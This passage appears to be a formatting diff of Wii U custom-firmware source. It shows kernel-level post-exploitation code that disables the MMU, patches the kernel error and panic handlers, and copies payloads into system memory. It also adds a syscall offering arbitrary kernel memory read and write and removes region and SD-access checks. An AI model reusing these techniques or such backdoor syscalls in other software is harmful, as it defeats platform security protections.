*(volatile u32 *) (0xE0030D68 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
*(volatile u32 *) (0xE0030D34 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
// allow any region title launch
*(volatile u32*)(0xE0030498 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
*(volatile u32 *) (0xE0030498 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
*(volatile u32 *) (0x050254D6 - 0x05000000 + 0x081C0000) = (volatile u32 *) THUMB_BL(0x050254D6, MCP_LoadFile_patch);
*(volatile u32 *) (0x05025242 - 0x05000000 + 0x081C0000) = (volatile u32 *) THUMB_BL(0x05025242, MCP_ioctl100_patch);
*(volatile u32*)(0x050254D6 - 0x05000000 + 0x081C0000) = (volatile u32*)THUMB_BL(0x050254D6, MCP_LoadFile_patch);
*(volatile u32*)(0x05025242 - 0x05000000 + 0x081C0000) = (volatile u32*)THUMB_BL(0x05025242, MCP_ioctl100_patch);
// change system.xml to syshax.xml
/*
*(volatile u32*)mcp_rodata_phys(0x050600F0) = 0x79736861; // ysha
@ -79,21 +79,21 @@ void instant_patches_setup(void) {
*(volatile u32*)mcp_rodata_phys(0x05060114) = 0x79736861; // ysha
*(volatile u32*)mcp_rodata_phys(0x05060118) = 0x782E786D; // x.xm
*/
// patch default title id to system menu
*(volatile u32*)mcp_data_phys(0x050B817C) = *(volatile u32*)0x0017FFF0;
*(volatile u32*)mcp_data_phys(0x050B8180) = *(volatile u32*)0x0017FFF4;
// patch default title id to system menu
*(volatile u32 *) mcp_data_phys(0x050B817C) = *(volatile u32 *) 0x0017FFF0;
*(volatile u32 *) mcp_data_phys(0x050B8180) = *(volatile u32 *) 0x0017FFF4;
// force check USB storage on load
*(volatile u32*)acp_phys(0xE012202C) = 0x00000001; // find USB flag
*(volatile u32 *) acp_phys(0xE012202C) = 0x00000001; // find USB flag
// set zero to start thread directly on first title change
*(volatile u32*)(0x050BC580 - 0x05000000 + 0x081C0000) = 0;
*(volatile u32 *) (0x050BC580 - 0x05000000 + 0x081C0000) = 0;
// down display launch image at this state
*(volatile u32*)(_text_start - 4 - 0x05100000 + 0x13D80000) = 0;
*(volatile u32 *) (_text_start - 4 - 0x05100000 + 0x13D80000) = 0;
// patch the read position for the cos xml's p4.mask(ios_fs) to read 0xFFFFFFFFFFFFFFFF
*(volatile u32*)(0x05002BBE - 0x05000000 + 0x081C0000) = (volatile u32*)THUMB_BL(0x05002BBE, patch_SD_access_check);
*(volatile u32 *) (0x05002BBE - 0x05000000 + 0x081C0000) = (volatile u32 *) THUMB_BL(0x05002BBE, patch_SD_access_check);
ios_map_shared_info_t map_info;
map_info.paddr = 0x050BD000 - 0x05000000 + 0x081C0000;

View File

@ -32,27 +32,25 @@
extern const patch_table_t mcp_patches_table[];
extern const patch_table_t mcp_patches_table_end[];
u32 mcp_get_phys_code_base(void)
{
u32 mcp_get_phys_code_base(void) {
return _text_start + MCP_CODE_BASE_PHYS_ADDR;
}
void mcp_run_patches(u32 ios_elf_start)
{
void mcp_run_patches(u32 ios_elf_start) {
// write ios_mcp code and bss
section_write_bss(ios_elf_start, _bss_start, _bss_end - _bss_start);
section_write(ios_elf_start, _text_start, (void*)mcp_get_phys_code_base(), _text_end - _text_start);
section_write(ios_elf_start, _text_start, (void *) mcp_get_phys_code_base(), _text_end - _text_start);
section_write_word(ios_elf_start, 0x05056718, ARM_BL(0x05056718, _text_start));
section_write_word(ios_elf_start, 0x05002BBE, THUMB_BL(0x05002BBE, patch_SD_access_check));
u32 patch_count = (u32)(((u8*)mcp_patches_table_end) - ((u8*)mcp_patches_table)) / sizeof(patch_table_t);
u32 patch_count = (u32) (((u8 *) mcp_patches_table_end) - ((u8 *) mcp_patches_table)) / sizeof(patch_table_t);
patch_table_entries(ios_elf_start, mcp_patches_table, patch_count);
section_write_word(ios_elf_start, 0x050254D6, THUMB_BL(0x050254D6, MCP_LoadFile_patch));
section_write_word(ios_elf_start, 0x05025242, THUMB_BL(0x05025242, MCP_ioctl100_patch));
// change system.xml to syshax.xml
section_write_word(ios_elf_start, 0x050600F0, 0x79736861); // ysha
section_write_word(ios_elf_start, 0x050600F4, 0x782E786D); // x.xm

View File

@ -27,6 +27,7 @@
#define MCP_LAUNCH_IMG_PHYS_ADDR (0x27000000)
u32 mcp_get_phys_code_base(void);
void mcp_run_patches(u32 ios_elf_start);
#endif

View File

@ -31,63 +31,56 @@
#include "utils.h"
extern void __KERNEL_CODE_START(void);
extern void __KERNEL_CODE_END(void);
extern const patch_table_t kernel_patches_table[];
extern const patch_table_t kernel_patches_table_end[];
static const u32 mcpIoMappings_patch[] =
{
// vaddr paddr size ? ? ?
0x0D000000, 0x0D000000, 0x001C0000, 0x00000000, 0x00000003, 0x00000000, // mapping 1
0x0D800000, 0x0D800000, 0x001C0000, 0x00000000, 0x00000003, 0x00000000, // mapping 2
0x0C200000, 0x0C200000, 0x00100000, 0x00000000, 0x00000003, 0x00000000 // mapping 3
};
{
// vaddr paddr size ? ? ?
0x0D000000, 0x0D000000, 0x001C0000, 0x00000000, 0x00000003, 0x00000000, // mapping 1
0x0D800000, 0x0D800000, 0x001C0000, 0x00000000, 0x00000003, 0x00000000, // mapping 2
0x0C200000, 0x0C200000, 0x00100000, 0x00000000, 0x00000003, 0x00000000 // mapping 3
};
static const u32 KERNEL_MCP_IOMAPPINGS_STRUCT[] =
{
(u32)mcpIoMappings_patch, // ptr to iomapping structs
0x00000003, // number of iomappings
0x00000001 // pid (MCP)
};
{
(u32) mcpIoMappings_patch, // ptr to iomapping structs
0x00000003, // number of iomappings
0x00000001 // pid (MCP)
};
static int kernel_syscall_0x81(u32 command, u32 arg1, u32 arg2, u32 arg3)
{
switch(command)
{
case KERNEL_READ32:
{
return *(volatile u32*)arg1;
}
case KERNEL_WRITE32:
{
*(volatile u32*)arg1 = arg2;
break;
}
case KERNEL_MEMCPY:
{
//set_domain_register(0xFFFFFFFF);
kernel_memcpy((void*)arg1, (void*) arg2, arg3);
break;
}
case KERNEL_GET_CFW_CONFIG:
{
//set_domain_register(0xFFFFFFFF);
//kernel_memcpy((void*)arg1, &cfw_config, sizeof(cfw_config));
break;
}
default:
return -1;
static int kernel_syscall_0x81(u32 command, u32 arg1, u32 arg2, u32 arg3) {
switch (command) {
case KERNEL_READ32: {
return *(volatile u32 *) arg1;
}
case KERNEL_WRITE32: {
*(volatile u32 *) arg1 = arg2;
break;
}
case KERNEL_MEMCPY: {
//set_domain_register(0xFFFFFFFF);
kernel_memcpy((void *) arg1, (void *) arg2, arg3);
break;
}
case KERNEL_GET_CFW_CONFIG: {
//set_domain_register(0xFFFFFFFF);
//kernel_memcpy((void*)arg1, &cfw_config, sizeof(cfw_config));
break;
}
default:
return -1;
}
return 0;
}
void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H)
{
void (*kernel_launch_bootrom)(u32 launch_address, u32 L, u32 C, u32 H) = (void*)0x0812A050;
void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H) {
void (*kernel_launch_bootrom)(u32 launch_address, u32 L, u32 C, u32 H) = (void *) 0x0812A050;
if(*(u32*)(launch_address - 0x300 + 0x1AC) == 0x00DFD000)
{
if (*(u32 *) (launch_address - 0x300 + 0x1AC) == 0x00DFD000) {
int level = disable_interrupts();
unsigned int control_register = disable_mmu();
@ -95,7 +88,7 @@ void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H)
//! try to keep the order of virt. addresses to reduce the memmove amount
mcp_run_patches(ios_elf_start);
kernel_run_patches(ios_elf_start);
kernel_run_patches(ios_elf_start);
restore_mmu(control_register);
enable_interrupts(level);
@ -104,9 +97,8 @@ void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H)
kernel_launch_bootrom(launch_address, L, C, H);
}
void kernel_run_patches(u32 ios_elf_start)
{
section_write(ios_elf_start, (u32)__KERNEL_CODE_START, __KERNEL_CODE_START, __KERNEL_CODE_END - __KERNEL_CODE_START);
void kernel_run_patches(u32 ios_elf_start) {
section_write(ios_elf_start, (u32) __KERNEL_CODE_START, __KERNEL_CODE_START, __KERNEL_CODE_END - __KERNEL_CODE_START);
section_write_word(ios_elf_start, 0x0812A120, ARM_BL(0x0812A120, kernel_launch_ios));
section_write(ios_elf_start, 0x08140DE0, KERNEL_MCP_IOMAPPINGS_STRUCT, sizeof(KERNEL_MCP_IOMAPPINGS_STRUCT));
@ -117,7 +109,7 @@ void kernel_run_patches(u32 ios_elf_start)
section_write_word(ios_elf_start, 0x0812CD2C, ARM_B(0x0812CD2C, kernel_syscall_0x81));
u32 patch_count = (u32)(((u8*)kernel_patches_table_end) - ((u8*)kernel_patches_table)) / sizeof(patch_table_t);
u32 patch_count = (u32) (((u8 *) kernel_patches_table_end) - ((u8 *) kernel_patches_table)) / sizeof(patch_table_t);
patch_table_entries(ios_elf_start, kernel_patches_table, patch_count);
}

View File

@ -25,7 +25,9 @@
#define _KERNEL_PATCHES_H
int kernel_init_otp_buffer(u32 sd_sector, int tagValid);
void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H);
void kernel_run_patches(u32 ios_elf_start);
#endif

View File

@ -28,83 +28,81 @@
#define USB_PHYS_CODE_BASE 0x101312D0
typedef struct
{
typedef struct {
u32 size;
u8 data[0];
} payload_info_t;
static const char repairData_set_fault_behavior[] = {
0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00,
0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02,
0xE1,0x53,0x00,0x00,0xE3,0xE0,0x00,0x00,0x18,0xBD,0x80,0x30,0xE3,0x54,0x00,0x0D,
0xE1, 0x2F, 0xFF, 0x1E, 0xE9, 0x2D, 0x40, 0x30, 0xE5, 0x93, 0x20, 0x00, 0xE1, 0xA0, 0x40, 0x00,
0xE5, 0x92, 0x30, 0x54, 0xE1, 0xA0, 0x50, 0x01, 0xE3, 0x53, 0x00, 0x01, 0x0A, 0x00, 0x00, 0x02,
0xE1, 0x53, 0x00, 0x00, 0xE3, 0xE0, 0x00, 0x00, 0x18, 0xBD, 0x80, 0x30, 0xE3, 0x54, 0x00, 0x0D,
};
static const char repairData_set_panic_behavior[] = {
0x08,0x16,0x6C,0x00,0x00,0x00,0x18,0x0C,0x08,0x14,0x40,0x00,0x00,0x00,0x9D,0x70,
0x08,0x16,0x84,0x0C,0x00,0x00,0xB4,0x0C,0x00,0x00,0x01,0x01,0x08,0x14,0x40,0x00,
0x08,0x15,0x00,0x00,0x08,0x17,0x21,0x80,0x08,0x17,0x38,0x00,0x08,0x14,0x30,0xD4,
0x08,0x14,0x12,0x50,0x08,0x14,0x12,0x94,0xE3,0xA0,0x35,0x36,0xE5,0x93,0x21,0x94,
0xE3,0xC2,0x2E,0x21,0xE5,0x83,0x21,0x94,0xE5,0x93,0x11,0x94,0xE1,0x2F,0xFF,0x1E,
0xE5,0x9F,0x30,0x1C,0xE5,0x9F,0xC0,0x1C,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x10,0x00,
0xE5,0x92,0x30,0x54,0xE5,0x9C,0x00,0x00,
0x08, 0x16, 0x6C, 0x00, 0x00, 0x00, 0x18, 0x0C, 0x08, 0x14, 0x40, 0x00, 0x00, 0x00, 0x9D, 0x70,
0x08, 0x16, 0x84, 0x0C, 0x00, 0x00, 0xB4, 0x0C, 0x00, 0x00, 0x01, 0x01, 0x08, 0x14, 0x40, 0x00,
0x08, 0x15, 0x00, 0x00, 0x08, 0x17, 0x21, 0x80, 0x08, 0x17, 0x38, 0x00, 0x08, 0x14, 0x30, 0xD4,
0x08, 0x14, 0x12, 0x50, 0x08, 0x14, 0x12, 0x94, 0xE3, 0xA0, 0x35, 0x36, 0xE5, 0x93, 0x21, 0x94,
0xE3, 0xC2, 0x2E, 0x21, 0xE5, 0x83, 0x21, 0x94, 0xE5, 0x93, 0x11, 0x94, 0xE1, 0x2F, 0xFF, 0x1E,
0xE5, 0x9F, 0x30, 0x1C, 0xE5, 0x9F, 0xC0, 0x1C, 0xE5, 0x93, 0x20, 0x00, 0xE1, 0xA0, 0x10, 0x00,
0xE5, 0x92, 0x30, 0x54, 0xE5, 0x9C, 0x00, 0x00,
};
static const char repairData_usb_root_thread[] = {
0xE5,0x8D,0xE0,0x04,0xE5,0x8D,0xC0,0x08,0xE5,0x8D,0x40,0x0C,0xE5,0x8D,0x60,0x10,
0xEB,0x00,0xB2,0xFD,0xEA,0xFF,0xFF,0xC9,0x10,0x14,0x03,0xF8,0x10,0x62,0x4D,0xD3,
0x10,0x14,0x50,0x00,0x10,0x14,0x50,0x20,0x10,0x14,0x00,0x00,0x10,0x14,0x00,0x90,
0x10,0x14,0x00,0x70,0x10,0x14,0x00,0x98,0x10,0x14,0x00,0x84,0x10,0x14,0x03,0xE8,
0x10,0x14,0x00,0x3C,0x00,0x00,0x01,0x73,0x00,0x00,0x01,0x76,0xE9,0x2D,0x4F,0xF0,
0xE2,0x4D,0xDE,0x17,0xEB,0x00,0xB9,0x92,0xE3,0xA0,0x10,0x00,0xE3,0xA0,0x20,0x03,
0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20,
0xE5, 0x8D, 0xE0, 0x04, 0xE5, 0x8D, 0xC0, 0x08, 0xE5, 0x8D, 0x40, 0x0C, 0xE5, 0x8D, 0x60, 0x10,
0xEB, 0x00, 0xB2, 0xFD, 0xEA, 0xFF, 0xFF, 0xC9, 0x10, 0x14, 0x03, 0xF8, 0x10, 0x62, 0x4D, 0xD3,
0x10, 0x14, 0x50, 0x00, 0x10, 0x14, 0x50, 0x20, 0x10, 0x14, 0x00, 0x00, 0x10, 0x14, 0x00, 0x90,
0x10, 0x14, 0x00, 0x70, 0x10, 0x14, 0x00, 0x98, 0x10, 0x14, 0x00, 0x84, 0x10, 0x14, 0x03, 0xE8,
0x10, 0x14, 0x00, 0x3C, 0x00, 0x00, 0x01, 0x73, 0x00, 0x00, 0x01, 0x76, 0xE9, 0x2D, 0x4F, 0xF0,
0xE2, 0x4D, 0xDE, 0x17, 0xEB, 0x00, 0xB9, 0x92, 0xE3, 0xA0, 0x10, 0x00, 0xE3, 0xA0, 0x20, 0x03,
0xE5, 0x9F, 0x0E, 0x68, 0xEB, 0x00, 0xB3, 0x20,
};
int _main()
{
void(*invalidate_icache)() = (void(*)())0x0812DCF0;
void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164;
void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160;
int _main() {
void (*invalidate_icache)() = (void (*)()) 0x0812DCF0;
void (*invalidate_dcache)(unsigned int, unsigned int) = (void (*)()) 0x08120164;
void (*flush_dcache)(unsigned int, unsigned int) = (void (*)()) 0x08120160;
flush_dcache(0x081200F0, 0x4001); // giving a size >= 0x4000 flushes all cache
flush_dcache(0x081200F0, 0x4001); // giving a size >= 0x4000 flushes all cache
int level = disable_interrupts();
int level = disable_interrupts();
unsigned int control_register = disable_mmu();
unsigned int control_register = disable_mmu();
/* Save the request handle so we can reply later */
*(volatile u32*)0x0012F000 = *(volatile u32*)0x1016AD18;
/* Save the request handle so we can reply later */
*(volatile u32 *) 0x0012F000 = *(volatile u32 *) 0x1016AD18;
/* Patch kernel_error_handler to BX LR immediately */
*(volatile u32*)0x08129A24 = 0xE12FFF1E;
/* Patch kernel_error_handler to BX LR immediately */
*(volatile u32 *) 0x08129A24 = 0xE12FFF1E;
void * pset_fault_behavior = (void*)0x081298BC;
kernel_memcpy(pset_fault_behavior, (void*)repairData_set_fault_behavior, sizeof(repairData_set_fault_behavior));
void *pset_fault_behavior = (void *) 0x081298BC;
kernel_memcpy(pset_fault_behavior, (void *) repairData_set_fault_behavior, sizeof(repairData_set_fault_behavior));
void * pset_panic_behavior = (void*)0x081296E4;
kernel_memcpy(pset_panic_behavior, (void*)repairData_set_panic_behavior, sizeof(repairData_set_panic_behavior));
void *pset_panic_behavior = (void *) 0x081296E4;
kernel_memcpy(pset_panic_behavior, (void *) repairData_set_panic_behavior, sizeof(repairData_set_panic_behavior));
void * pusb_root_thread = (void*)0x10100174;
kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread));
void *pusb_root_thread = (void *) 0x10100174;
kernel_memcpy(pusb_root_thread, (void *) repairData_usb_root_thread, sizeof(repairData_usb_root_thread));
payload_info_t *payloads = (payload_info_t*)0x00148000;
kernel_memcpy((void*)USB_PHYS_CODE_BASE, payloads->data, payloads->size);
payload_info_t *payloads = (payload_info_t *) 0x00148000;
kernel_memcpy((void *) USB_PHYS_CODE_BASE, payloads->data, payloads->size);
payloads = (payload_info_t*)0x00160000;
kernel_memcpy((void*)mcp_get_phys_code_base(), payloads->data, payloads->size);
payloads = (payload_info_t *) 0x00160000;
kernel_memcpy((void *) mcp_get_phys_code_base(), payloads->data, payloads->size);
// run all instant patches as necessary
instant_patches_setup();
*(volatile u32*)(0x1555500) = 0;
*(volatile u32 *) (0x1555500) = 0;
/* REENABLE MMU */
restore_mmu(control_register);
/* REENABLE MMU */
restore_mmu(control_register);
invalidate_dcache(0x081298BC, 0x4001); // giving a size >= 0x4000 invalidates all cache
invalidate_icache();
invalidate_dcache(0x081298BC, 0x4001); // giving a size >= 0x4000 invalidates all cache
invalidate_icache();
enable_interrupts(level);
enable_interrupts(level);
return 0;
return 0;
}

View File

@ -15,40 +15,30 @@
#define CHAR_SIZE_Y 8
u32* const framebuffer = (u32*)FRAMEBUFFER_ADDRESS;
u32 *const framebuffer = (u32 *) FRAMEBUFFER_ADDRESS;
void clearScreen(u32 color)
{
int i;
for(i = 0; i < 896 * 504; i++)
{
framebuffer[i] = color;
}
void clearScreen(u32 color) {
int i;
for (i = 0; i < 896 * 504; i++) {
framebuffer[i] = color;
}
}
void drawCharacter(char c, int x, int y)
{
if(c < 32)return;
void drawCharacter(char c, int x, int y) {
if (c < 32)return;
c -= 32;
u8* charData = (u8*)&font_bin[(int)c << 3];
u32* fb = &framebuffer[x + y * FRAMEBUFFER_STRIDE_WORDS];
u8 *charData = (u8 *) &font_bin[(int) c << 3];
u32 *fb = &framebuffer[x + y * FRAMEBUFFER_STRIDE_WORDS];
int i, j, n, k;
for(i = 0; i < CHAR_SIZE_Y; i++)
{
for(k = 0; k < CHAR_MULT; k++)
{
for (i = 0; i < CHAR_SIZE_Y; i++) {
for (k = 0; k < CHAR_MULT; k++) {
u8 v = *charData;
for(j = 0; j < CHAR_SIZE_X; j++)
{
for(n = 0; n < CHAR_MULT; n++)
{
if(v & 1)
{
for (j = 0; j < CHAR_SIZE_X; j++) {
for (n = 0; n < CHAR_MULT; n++) {
if (v & 1) {
*fb = 0x00000000;
}
else
{
} else {
*fb = 0xFFFFFFFF;
}
fb++;
@ -61,29 +51,25 @@ void drawCharacter(char c, int x, int y)
}
}
void drawString(char* str, int x, int y)
{
if(!str) return;
void drawString(char *str, int x, int y) {
if (!str) return;
int k;
int dx = 0, dy = 0;
for(k = 0; str[k]; k++)
{
if(str[k] >= 32 && str[k] < 128)
for (k = 0; str[k]; k++) {
if (str[k] >= 32 && str[k] < 128)
drawCharacter(str[k], x + dx, y + dy);
dx += CHAR_SIZE_X * CHAR_MULT;
if(str[k] == '\n')
{
if (str[k] == '\n') {
dx = 0;
dy -= CHAR_SIZE_Y * CHAR_MULT;
}
}
}
void _printf(int x, int y, const char *format, ...)
{
void (*kernel_vsnprintf)(char * s, size_t n, const char * format, va_list arg) = (void*)0x0813293C;
void _printf(int x, int y, const char *format, ...) {
void (*kernel_vsnprintf)(char *s, size_t n, const char *format, va_list arg) = (void *) 0x0813293C;
va_list args;
va_start(args, format);

View File

@ -4,8 +4,11 @@
#include "types.h"
void drawSplashScreen(void);
void clearScreen(u32 color);
void drawString(char* str, int x, int y);
void drawString(char *str, int x, int y);
void _printf(int x, int y, const char *format, ...);
#endif

View File

@ -23,38 +23,33 @@
***************************************************************************/
// this memcpy is optimized for speed and to work with MEM1 32 bit access alignment requirement
void reverse_memcpy(void* dst, const void* src, unsigned int size)
{
void reverse_memcpy(void *dst, const void *src, unsigned int size) {
const unsigned char *src_p;
unsigned char *dst_p;
if((size >= 4) && !((dst - src) & 3))
{
if ((size >= 4) && !((dst - src) & 3)) {
const unsigned int *src_p32;
unsigned int *dst_p32;
unsigned int endDst = ((unsigned int)dst) + size;
unsigned int endDst = ((unsigned int) dst) + size;
unsigned int endRest = endDst & 3;
if(endRest)
{
src_p = ((const unsigned char*)(src + size)) - 1;
dst_p = ((unsigned char*)endDst) - 1;
if (endRest) {
src_p = ((const unsigned char *) (src + size)) - 1;
dst_p = ((unsigned char *) endDst) - 1;
size -= endRest;
while(endRest--)
while (endRest--)
*dst_p-- = *src_p--;
}
src_p32 = ((const unsigned int*)(src + size)) - 1;
dst_p32 = ((unsigned int*)(dst + size)) - 1;
src_p32 = ((const unsigned int *) (src + size)) - 1;
dst_p32 = ((unsigned int *) (dst + size)) - 1;
unsigned int size32 = size >> 5;
if(size32)
{
if (size32) {
size &= 0x1F;
while(size32--)
{
while (size32--) {
src_p32 -= 8;
dst_p32 -= 8;
@ -70,23 +65,20 @@ void reverse_memcpy(void* dst, const void* src, unsigned int size)
}
unsigned int size4 = size >> 2;
if(size4)
{
if (size4) {
size &= 3;
while(size4--)
while (size4--)
*dst_p32-- = *src_p32--;
}
dst_p = ((unsigned char*)dst_p32) + 3;
src_p = ((const unsigned char*)src_p32) + 3;
}
else
{
dst_p = ((unsigned char*)dst) + size - 1;
src_p = ((const unsigned char*)src) + size - 1;
dst_p = ((unsigned char *) dst_p32) + 3;
src_p = ((const unsigned char *) src_p32) + 3;
} else {
dst_p = ((unsigned char *) dst) + size - 1;
src_p = ((const unsigned char *) src) + size - 1;
}
while(size--)
while (size--)
*dst_p-- = *src_p--;
}

View File

@ -33,24 +33,21 @@
#define enable_interrupts ((int(*)(int))0x0812E78C)
#define kernel_bsp_command_5 ((int (*)(const char*, int offset, const char*, int size, void *buffer))0x0812EC40)
void reverse_memcpy(void* dest, const void* src, unsigned int size);
void reverse_memcpy(void *dest, const void *src, unsigned int size);
static inline unsigned int disable_mmu(void)
{
unsigned int control_register = 0;
asm volatile("MRC p15, 0, %0, c1, c0, 0" : "=r" (control_register));
asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register & 0xFFFFEFFA));
return control_register;
static inline unsigned int disable_mmu(void) {
unsigned int control_register = 0;
asm volatile("MRC p15, 0, %0, c1, c0, 0" : "=r" (control_register));
asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register & 0xFFFFEFFA));
return control_register;
}
static inline void restore_mmu(unsigned int control_register)
{
asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register));
static inline void restore_mmu(unsigned int control_register) {
asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register));
}
static inline void set_domain_register(unsigned int domain_register)
{
asm volatile("MCR p15, 0, %0, c3, c0, 0" : : "r" (domain_register));
static inline void set_domain_register(unsigned int domain_register) {
asm volatile("MCR p15, 0, %0, c3, c0, 0" : : "r" (domain_register));
}
#endif

View File

@ -1,49 +1,49 @@
const unsigned char font_bin[] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x30, 0x18, 0x18, 0x00, 0x0C, 0x00,
0x00, 0x22, 0x22, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0xFF, 0x66, 0xFF, 0x66, 0x66,
0x00, 0x18, 0x7C, 0x06, 0x3C, 0x60, 0x3E, 0x18, 0x10, 0x46, 0x66, 0x30, 0x18, 0x0C, 0x66, 0x62,
0x00, 0x3C, 0x66, 0x3C, 0x1C, 0xE6, 0x66, 0xFC, 0x00, 0x18, 0x0C, 0x06, 0x00, 0x00, 0x00, 0x00,
0x00, 0x30, 0x18, 0x0C, 0x0C, 0x18, 0x30, 0x00, 0x00, 0x0C, 0x18, 0x30, 0x30, 0x18, 0x0C, 0x00,
0x00, 0x66, 0x3C, 0xFF, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x18, 0x18, 0x7E, 0x18, 0x18, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00, 0x00, 0x40, 0x60, 0x30, 0x18, 0x0C, 0x06, 0x00,
0x00, 0x3C, 0x66, 0x76, 0x6E, 0x66, 0x3C, 0x00, 0x00, 0x18, 0x1C, 0x18, 0x18, 0x18, 0x7E, 0x00,
0x00, 0x3C, 0x62, 0x30, 0x0C, 0x06, 0x7E, 0x00, 0x00, 0x3C, 0x62, 0x38, 0x60, 0x66, 0x3C, 0x00,
0x00, 0x6C, 0x6C, 0x66, 0xFE, 0x60, 0x60, 0x00, 0x00, 0x7E, 0x06, 0x7E, 0x60, 0x66, 0x3C, 0x00,
0x00, 0x3C, 0x06, 0x3E, 0x66, 0x66, 0x3C, 0x00, 0x00, 0x7E, 0x30, 0x30, 0x18, 0x18, 0x18, 0x00,
0x00, 0x3C, 0x66, 0x3C, 0x66, 0x66, 0x3C, 0x00, 0x00, 0x3C, 0x66, 0x7C, 0x60, 0x66, 0x3C, 0x00,
0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x18, 0x0C, 0x00,
0x00, 0x70, 0x1C, 0x06, 0x06, 0x1C, 0x70, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x3E, 0x00, 0x00, 0x00,
0x00, 0x0E, 0x38, 0x60, 0x60, 0x38, 0x0E, 0x00, 0x00, 0x3C, 0x66, 0x30, 0x18, 0x00, 0x18, 0x00,
0x00, 0x3C, 0x66, 0x76, 0x76, 0x06, 0x46, 0x3C, 0x00, 0x3C, 0x66, 0x7E, 0x66, 0x66, 0x66, 0x00,
0x00, 0x3E, 0x66, 0x3E, 0x66, 0x66, 0x3E, 0x00, 0x00, 0x3C, 0x66, 0x06, 0x06, 0x66, 0x3C, 0x00,
0x00, 0x1E, 0x36, 0x66, 0x66, 0x36, 0x1E, 0x00, 0x00, 0x7E, 0x06, 0x1E, 0x06, 0x06, 0x7E, 0x00,
0x00, 0x3E, 0x06, 0x1E, 0x06, 0x06, 0x06, 0x00, 0x00, 0x3C, 0x66, 0x06, 0x76, 0x66, 0x3C, 0x00,
0x00, 0x66, 0x66, 0x7E, 0x66, 0x66, 0x66, 0x00, 0x00, 0x3C, 0x18, 0x18, 0x18, 0x18, 0x3C, 0x00,
0x00, 0x78, 0x30, 0x30, 0x30, 0x36, 0x1C, 0x00, 0x00, 0x66, 0x36, 0x1E, 0x1E, 0x36, 0x66, 0x00,
0x00, 0x06, 0x06, 0x06, 0x06, 0x06, 0x7E, 0x00, 0x00, 0x46, 0x6E, 0x7E, 0x56, 0x46, 0x46, 0x00,
0x00, 0x66, 0x6E, 0x7E, 0x76, 0x66, 0x66, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x00,
0x00, 0x3E, 0x66, 0x3E, 0x06, 0x06, 0x06, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x3C, 0x70, 0x00,
0x00, 0x3E, 0x66, 0x3E, 0x1E, 0x36, 0x66, 0x00, 0x00, 0x3C, 0x66, 0x0C, 0x30, 0x66, 0x3C, 0x00,
0x00, 0x7E, 0x18, 0x18, 0x18, 0x18, 0x18, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x00,
0x00, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x18, 0x00, 0x00, 0x46, 0x46, 0x56, 0x7E, 0x6E, 0x46, 0x00,
0x00, 0x66, 0x3C, 0x18, 0x3C, 0x66, 0x66, 0x00, 0x00, 0x66, 0x66, 0x3C, 0x18, 0x18, 0x18, 0x00,
0x00, 0x7E, 0x30, 0x18, 0x0C, 0x06, 0x7E, 0x00, 0x00, 0x3C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x3C,
0x00, 0x06, 0x0C, 0x18, 0x30, 0x60, 0x40, 0x00, 0x00, 0x3C, 0x30, 0x30, 0x30, 0x30, 0x30, 0x3C,
0x00, 0x18, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E,
0x00, 0x0C, 0x18, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x60, 0x7C, 0x66, 0x7C, 0x00,
0x00, 0x06, 0x06, 0x3E, 0x66, 0x66, 0x3E, 0x00, 0x00, 0x00, 0x3C, 0x06, 0x06, 0x06, 0x3C, 0x00,
0x00, 0x60, 0x60, 0x7C, 0x66, 0x66, 0x7C, 0x00, 0x00, 0x00, 0x3C, 0x66, 0x7E, 0x06, 0x3C, 0x00,
0x00, 0x38, 0x0C, 0x3E, 0x0C, 0x0C, 0x0C, 0x00, 0x00, 0x00, 0x7C, 0x66, 0x7C, 0x40, 0x3C, 0x00,
0x00, 0x06, 0x06, 0x3E, 0x66, 0x66, 0x66, 0x00, 0x00, 0x18, 0x00, 0x1C, 0x18, 0x18, 0x3C, 0x00,
0x00, 0x30, 0x00, 0x30, 0x30, 0x30, 0x1E, 0x00, 0x00, 0x06, 0x06, 0x36, 0x1E, 0x36, 0x66, 0x00,
